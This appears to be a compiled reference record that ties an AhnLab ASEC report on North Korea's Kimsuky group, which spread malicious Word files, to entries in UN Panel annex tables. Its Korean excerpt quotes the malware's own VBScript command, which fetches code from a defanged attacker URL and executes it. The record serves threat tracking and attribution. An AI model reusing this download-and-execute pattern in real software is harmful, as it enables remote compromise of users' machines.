Word File Provided as External Link When Replying to Attacker’s Email (Kimsuky) · 2022-07-26
excerpt: The ASEC analysis team has discovered the continuous distribution of malicious Word files with North Korea-related materials. The types of discovered Word files included the one discussed in the “Overall Organizational Analysis Report of 2021 Kimsuky Attack Word Files” (AhnLab TIP) and ‘Word Files Related to Diplomacy and National Defense Being Distributed‘. Also, there was […] | attribution sentence: The types of discovered Word files included the one discussed in the “ Overall Organizational Analysis Report of 2021 Kimsuky Attack Word Files ” (AhnLab TIP) and ‘ Word Files Related to Diplomacy and National Defense Being Distributed ‘. | target sentence: It likely engaged in malicious behaviors such as leaking user PC information as mentioned in the previous post ‘ Word Document Attack Targeting Companies Specialized in Carbon Emissions ‘.
공격자 메일에 회신한 경우에 외부 링크로 제공되는 워드문서 (Kimsuky) · 2022-07-26
excerpt: ASEC 분석팀은 대북 관련 내용의 악성 워드 문서가 꾸준히 유포되고 있음을 확인하였다. 확인된 워드 문서는 안랩 TIP에 공개된 “2021년 Kimsuky 공격 워드(word) 문서 사례 총 정리 분석 보고서” 및 ‘외교/안보 관련 내용의 워드문서 유포 중‘ 에서 공유한 워드 문서 유형과 더불어 mshta를 이용하는 유형이 확인되었다. 악성 워드 문서는 다음과 같이 다양한 파일명으로 유포되고 있다. 김** […] | attribution sentence: 확인된 워드 문서는 안랩 TIP에 공개된 “ 2021년 Kimsuky 공격 워드(word) 문서 사례 총 정리 분석 보고서 ” 및 ‘ 외교/안보 관련 내용의 워드문서 유포 중 ‘ 에서 공유한 워드 문서 유형과 더불어 mshta를 이용하는 유형이 확인되었다. | target sentence: wscript.exe //e:vbscript //b %AppData%\Microsoft\Templates\version.ini On Error Resume Next:Set mx = CreateObject("Microsoft.XMLHTTP"):mx.open "GET", "hxxp://asssambly.mywebcommunity[.]org/file/upload/list.php?query=1", False:mx.Send:Execute(mx.responseText) version.ini 현재 URL에 접속이 불가하여 이후 행위는 확인이 불
APT attacks using Word File w/ External Links · August
Annex 76: List of DPRK cyberthreat actors' malicious activities in 2022 monitored by the Panel (table row 23 of 37). RGB Unit: Kimsuky; Case Name: APT attacks using Word File w/ External Links; SPH √; KAC √; VAS: (blank); Publicized Month: August. (Note: RGB Reconnaissance General Bureau, SPH Significant Phishing, KAC knowledge acquisition and espionage, VAS virtual asset seizures.)
Word File Provided as External Link When Replying to Attacker's Email (Kimsuky) · 2 August 2022
Annex 77 (Links to reports from Ahnlab’s ASEC), listed under “Kimsuky Group”: “Word File Provided as External Link When Replying to Attacker's Email (Kimsuky)” (2 August 2022)